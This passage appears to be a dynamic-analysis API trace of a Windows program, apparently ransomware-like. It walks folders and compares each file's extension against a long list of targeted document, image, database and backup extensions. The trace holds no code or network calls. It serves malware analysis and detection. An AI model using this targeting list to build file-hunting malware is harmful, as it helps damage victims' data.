lpString2=".log") returned -1 [0060.901] lstrlenW (lpString=".flv") returned 4 [0060.901] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0060.901] lstrlenW (lpString=".frm") returned 4 [0060.901] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0060.901] lstrlenW (lpString=".fxg") returned 4 [0060.901] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0060.901] lstrlenW (lpString=".geo") returned 4 [0060.901] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0060.901] lstrlenW (lpString=".gif") returned 4 [0060.901] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0060.901] lstrlenW (lpString=".grs") returned 4 [0060.901] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0060.901] lstrlenW (lpString=".gz") returned 3 [0060.902] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0060.902] lstrlenW (lpString=".h") returned 2 [0060.902] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0060.902] lstrlenW (lpString=".hdr") returned 4 [0060.902] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0060.902] lstrlenW (lpString=".hpp") returned 4 [0060.902] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0060.902] lstrlenW (lpString=".hta") returned 4 [0060.902] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0060.902] lstrlenW (lpString=".htc") returned 4 [0060.902] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0060.902] lstrlenW (lpString=".htm") returned 4 [0060.902] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0060.902] lstrlenW (lpString=".html") returned 5 [0060.902] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0060.902] lstrlenW (lpString=".icb") returned 4 [0060.902] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0060.902] lstrlenW (lpString=".ics") returned 4 [0060.902] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0060.902] lstrlenW (lpString=".iff") returned 4 [0060.902] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0060.902] lstrlenW (lpString=".inc") returned 4 [0060.902] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0060.902] lstrlenW (lpString=".indd") returned 5 [0060.902] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0060.902] lstrlenW (lpString=".ini") returned 4 [0060.902] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0060.902] lstrlenW (lpString=".iqy") returned 4 [0060.902] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0060.902] lstrlenW (lpString=".j2c") returned 4 [0060.902] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0060.902] lstrlenW (lpString=".j2k") returned 4 [0060.902] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0060.902] lstrlenW (lpString=".java") returned 5 [0060.902] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0060.902] lstrlenW (lpString=".jp2") returned 4 [0060.902] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0060.902] lstrlenW (lpString=".jpc") returned 4 [0060.903] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0060.903] lstrlenW (lpString=".jpe") returned 4 [0060.903] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0060.903] lstrlenW (lpString=".jpeg") returned 5 [0060.903] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0060.903] lstrlenW (lpString=".jpf") returned 4 [0060.903] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0060.903] lstrlenW (lpString=".jpg") returned 4 [0060.903] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0060.903] lstrlenW (lpString=".jpx") returned 4 [0060.903] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0060.903] lstrlenW (lpString=".js") returned 3 [0060.903] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0060.903] lstrlenW (lpString=".jsf") returned 4 [0060.903] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0060.903] lstrlenW (lpString=".json") returned 5 [0060.903] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0060.903] lstrlenW (lpString=".jsp") returned 4 [0060.903] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0060.903] lstrlenW (lpString=".kdc") returned 4 [0060.903] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0060.903] lstrlenW (lpString=".kmz") returned 4 [0060.903] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0060.903] lstrlenW (lpString=".kwm") returned 4 [0060.903] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0060.903] lstrlenW (lpString=".lasso") returned 6 [0060.903] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0060.903] lstrlenW (lpString=".lbi") returned 4 [0060.903] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0060.903] lstrlenW (lpString=".lgf") returned 4 [0060.903] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0060.903] lstrlenW (lpString=".lgp") returned 4 [0060.903] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0060.903] lstrlenW (lpString=".log") returned 4 [0060.903] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0060.903] FindNextFileW (in: hFindFile=0x582648, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0060.903] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0060.904] lstrlenW (lpString=".1cd") returned 4 [0060.904] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0060.904] lstrlenW (lpString=".3ds") returned 4 [0060.904] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0060.904] lstrlenW (lpString=".3fr") returned 4 [0060.904] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0060.904] lstrlenW (lpString=".3g2") returned 4 [0060.904] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0060.904] lstrlenW (lpString=".3gp") returned 4 [0060.904] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0060.904] lstrlenW (lpString=".7z") returned 3 [0060.904] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0060.904] lstrlenW (lpString=".accda") returned 6 [0060.904] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0060.904] lstrlenW (lpString=".accdb") returned 6 [0060.904] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0060.904] lstrlenW (lpString=".accdc") returned 6 [0060.904] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0060.904] lstrlenW (lpString=".accde") returned 6 [0060.904] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0060.904] lstrlenW (lpString=".accdt") returned 6 [0060.904] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0060.904] lstrlenW (lpString=".accdw") returned 6 [0060.904] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0060.904] lstrlenW (lpString=".adb") returned 4 [0060.904] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0060.904] lstrlenW (lpString=".adp") returned 4 [0060.904] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0060.904] lstrlenW (lpString=".ai") returned 3 [0060.904] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0060.904] lstrlenW (lpString=".ai3") returned 4 [0060.904] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0060.904] lstrlenW (lpString=".ai4") returned 4 [0060.904] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0060.904] lstrlenW (lpString=".ai5") returned 4 [0060.904] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0060.904] lstrlenW (lpString=".ai6") returned 4 [0060.904] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0060.905] lstrlenW (lpString=".ai7") returned 4 [0060.905] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0060.905] lstrlenW (lpString=".ai8") returned 4 [0060.905] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0060.905] lstrlenW (lpString=".anim") returned 5 [0060.905] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0060.905] lstrlenW (lpString=".arw") returned 4 [0060.905] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0060.905] lstrlenW (lpString=".as") returned 3 [0060.905] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0060.905] lstrlenW (lpString=".asa") returned 4 [0060.905] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0060.905] lstrlenW (lpString=".asc") returned 4 [0060.905] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0060.905] lstrlenW (lpString=".ascx") returned 5 [0060.905] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0060.905] lstrlenW (lpString=".asm") returned 4 [0060.905] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0060.905] lstrlenW (lpString=".asmx") returned 5 [0060.905] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0060.905] lstrlenW (lpString=".asp") returned 4 [0060.905] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0060.905] lstrlenW (lpString=".aspx") returned 5 [0060.905] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0060.905] lstrlenW (lpString=".asr") returned 4 [0060.905] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0060.905] lstrlenW (lpString=".asx") returned 4 [0060.905] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0060.905] lstrlenW (lpString=".avi") returned 4 [0060.905] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0060.905] lstrlenW (lpString=".avs") returned 4 [0060.905] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0060.905] lstrlenW (lpString=".backup") returned 7 [0060.905] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0060.905] lstrlenW (lpString=".bak") returned 4 [0060.905] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0060.905] lstrlenW (lpString=".bay") returned 4 [0060.906] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0060.906] lstrlenW (lpString=".bd") returned 3 [0060.906] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0060.906] lstrlenW (lpString=".bin") returned 4 [0060.906] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0060.906] lstrlenW (lpString=".bmp") returned 4 [0060.906] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0060.906] lstrlenW (lpString=".bz2") returned 4 [0060.906] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0060.906] lstrlenW (lpString=".c") returned 2 [0060.906] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0060.906] lstrlenW (lpString=".cdr") returned 4 [0060.906] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0060.906] lstrlenW (lpString=".cer") returned 4 [0060.906] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0060.906] lstrlenW (lpString=".cf") returned 3 [0060.906] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0060.906] lstrlenW (lpString=".cfc") returned 4 [0060.906] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0060.906] lstrlenW (lpString=".cfm") returned 4 [0060.906] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0060.906] lstrlenW (lpString=".cfml") returned 5 [0060.906] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0060.906] lstrlenW (lpString=".cfu") returned 4 [0060.906] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0060.906] lstrlenW (lpString=".chm") returned 4 [0060.906] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0060.906] lstrlenW (lpString=".cin") returned 4 [0060.906] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0060.906] lstrlenW (lpString=".class") returned 6 [0060.906] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0060.906] lstrlenW (lpString=".clx") returned 4 [0060.906] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0060.906] lstrlenW (lpString=".config") returned 7 [0060.906] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0060.906] lstrlenW (lpString=".cpp") returned 4 [0060.906] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0060.907] lstrlenW (lpString=".cr2") returned 4 [0060.907] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0060.907] lstrlenW (lpString=".crt") returned 4 [0060.907] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0060.907] lstrlenW (lpString=".crw") returned 4 [0060.907] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0060.907] lstrlenW (lpString=".cs") returned 3 [0060.907] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0060.907] lstrlenW (lpString=".css") returned 4 [0060.907] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0060.907] lstrlenW (lpString=".csv") returned 4 [0060.907] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0060.907] lstrlenW (lpString=".cub") returned 4 [0060.907] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0060.907] lstrlenW (lpString=".dae") returned 4 [0060.907] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0060.907] lstrlenW (lpString=".dat") returned 4 [0060.907] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0060.907] lstrlenW (lpString=".db") returned 3 [0060.907] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0060.907] lstrlenW (lpString=".dbf") returned 4 [0060.907] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0060.907] lstrlenW (lpString=".dbx") returned 4 [0060.907] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0060.907] lstrlenW (lpString=".dc3") returned 4 [0060.907] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0060.907] lstrlenW (lpString=".dcm") returned 4 [0060.907] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0060.907] lstrlenW (lpString=".dcr") returned 4 [0060.907] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0060.907] lstrlenW (lpString=".der") returned 4 [0060.907] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0060.907] lstrlenW (lpString=".dib") returned 4 [0060.907] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0060.907] lstrlenW (lpString=".dic") returned 4 [0060.907] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0060.907] lstrlenW (lpString=".dif") returned 4 [0060.907] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0060.908] lstrlenW (lpString=".divx") returned 5 [0060.908] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0060.908] lstrlenW (lpString=".djvu") returned 5 [0060.908] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0060.908] lstrlenW (lpString=".dng") returned 4 [0060.908] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0060.908] lstrlenW (lpString=".doc") returned 4 [0060.908] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0060.908] lstrlenW (lpString=".docm") returned 5 [0060.908] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0060.908] lstrlenW (lpString=".docx") returned 5 [0060.908] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0060.908] lstrlenW (lpString=".dot") returned 4 [0060.908] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0060.908] lstrlenW (lpString=".dotm") returned 5 [0060.908] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0060.908] lstrlenW (lpString=".dotx") returned 5 [0060.908] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0060.908] lstrlenW (lpString=".dpx") returned 4 [0060.908] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0060.908] lstrlenW (lpString=".dqy") returned 4 [0060.908] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0060.908] lstrlenW (lpString=".dsn") returned 4 [0060.908] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0060.908] lstrlenW (lpString=".dt") returned 3 [0060.908] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0060.908] lstrlenW (lpString=".dtd") returned 4 [0060.908] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0060.908] lstrlenW (lpString=".dwg") returned 4 [0060.908] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0060.908] FindNextFileW (in: hFindFile=0x582648, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0060.909] FindNextFileW (in: hFindFile=0x582648, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0060.909] FindClose (in: hFindFile=0x582648 | out: hFindFile=0x582648) returned 1 [0060.910] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3780968 | out: hHeap=0x490000) returned 1 [0060.910] FindNextFileW (in: hFindFile=0x4a9598, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0060.910] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3780968 [0060.910] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582b88 [0060.921] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.921] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0060.922] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0060.922] lstrlenW (lpString="GetCurrentRollback.ini") returned 22 [0060.922] lstrlenW (lpString=".1cd") returned 4 [0060.922] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0060.922] lstrlenW (lpString=".3ds") returned 4 [0060.922] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0060.922] lstrlenW (lpString=".3fr") returned 4 [0060.922] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0060.922] lstrlenW (lpString=".3g2") returned 4 [0060.922] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0060.922] lstrlenW (lpString=".3gp") returned 4 [0060.922] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0060.922] lstrlenW (lpString=".7z") returned 3 [0060.922] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0060.922] lstrlenW (lpString=".accda") returned 6 [0060.922] lstrcmpiW (lpString1=".accda", lpString2="ck.ini") returned -1 [0060.922] lstrlenW (lpString=".accdb") returned 6 [0060.922] lstrcmpiW (lpString1=".accdb", lpString2="ck.ini") returned -1 [0060.922] lstrlenW (lpString=".accdc") returned 6 [0060.922] lstrcmpiW (lpString1=".accdc", lpString2="ck.ini") returned -1 [0060.922] lstrlenW (lpString=".accde") returned 6 [0060.922] lstrcmpiW (lpString1=".accde", lpString2="ck.ini") returned -1 [0060.922] lstrlenW (lpString=".accdt") returned 6 [0060.922] lstrcmpiW (lpString1=".accdt", lpString2="ck.ini") returned -1 [0060.922] lstrlenW (lpString=".accdw") returned 6 [0060.922] lstrcmpiW (lpString1=".accdw", lpString2="ck.ini") returned -1 [0060.922] lstrlenW (lpString=".adb") returned 4 [0060.922] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0060.922] lstrlenW (lpString=".adp") returned 4 [0060.922] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0060.922] lstrlenW (lpString=".ai") returned 3 [0060.922] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0060.923] lstrlenW (lpString=".ai3") returned 4 [0060.923] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0060.923] lstrlenW (lpString=".ai4") returned 4 [0060.923] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0060.923] lstrlenW (lpString=".ai5") returned 4 [0060.923] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0060.923] lstrlenW (lpString=".ai6") returned 4 [0060.923] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0060.923] lstrlenW (lpString=".ai7") returned 4 [0060.923] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0060.923] lstrlenW (lpString=".ai8") returned 4 [0060.923] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0060.923] lstrlenW (lpString=".anim") returned 5 [0060.923] lstrcmpiW (lpString1=".anim", lpString2="k.ini") returned -1 [0060.923] lstrlenW (lpString=".arw") returned 4 [0060.923] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0060.923] lstrlenW (lpString=".as") returned 3 [0060.923] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0060.923] lstrlenW (lpString=".asa") returned 4 [0060.923] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0060.923] lstrlenW (lpString=".asc") returned 4 [0060.923] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0060.923] lstrlenW (lpString=".ascx") returned 5 [0060.923] lstrcmpiW (lpString1=".ascx", lpString2="k.ini") returned -1 [0060.923] lstrlenW (lpString=".asm") returned 4 [0060.923] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0060.923] lstrlenW (lpString=".asmx") returned 5 [0060.923] lstrcmpiW (lpString1=".asmx", lpString2="k.ini") returned -1 [0060.923] lstrlenW (lpString=".asp") returned 4 [0060.923] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0060.923] lstrlenW (lpString=".aspx") returned 5 [0060.923] lstrcmpiW (lpString1=".aspx", lpString2="k.ini") returned -1 [0060.923] lstrlenW (lpString=".asr") returned 4 [0060.923] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0060.923] lstrlenW (lpString=".asx") returned 4 [0060.923] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0060.923] lstrlenW (lpString=".avi") returned 4 [0060.924] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0060.924] lstrlenW (lpString=".avs") returned 4 [0060.924] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0060.924] lstrlenW (lpString=".backup") returned 7 [0060.924] lstrcmpiW (lpString1=".backup", lpString2="ack.ini") returned -1 [0060.924] lstrlenW (lpString=".bak") returned 4 [0060.924] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0060.924] lstrlenW (lpString=".bay") returned 4 [0060.924] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0060.924] lstrlenW (lpString=".bd") returned 3 [0060.924] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0060.924] lstrlenW (lpString=".bin") returned 4 [0060.924] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0060.924] lstrlenW (lpString=".bmp") returned 4 [0060.924] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0060.924] lstrlenW (lpString=".bz2") returned 4 [0060.924] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0060.924] lstrlenW (lpString=".c") returned 2 [0060.924] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0060.924] lstrlenW (lpString=".cdr") returned 4 [0060.924] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0060.924] lstrlenW (lpString=".cer") returned 4 [0060.924] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0060.924] lstrlenW (lpString=".cf") returned 3 [0060.924] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0060.924] lstrlenW (lpString=".cfc") returned 4 [0060.924] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0060.924] lstrlenW (lpString=".cfm") returned 4 [0060.924] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0060.924] lstrlenW (lpString=".cfml") returned 5 [0060.924] lstrcmpiW (lpString1=".cfml", lpString2="k.ini") returned -1 [0060.924] lstrlenW (lpString=".cfu") returned 4 [0060.924] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0060.924] lstrlenW (lpString=".chm") returned 4 [0060.924] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0060.924] lstrlenW (lpString=".cin") returned 4 [0060.925] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0060.925] lstrlenW (lpString=".class") returned 6 [0060.925] lstrcmpiW (lpString1=".class", lpString2="ck.ini") returned -1 [0060.925] lstrlenW (lpString=".clx") returned 4 [0060.925] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0060.925] lstrlenW (lpString=".config") returned 7 [0060.925] lstrcmpiW (lpString1=".config", lpString2="ack.ini") returned -1 [0060.925] lstrlenW (lpString=".cpp") returned 4 [0060.925] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0060.925] 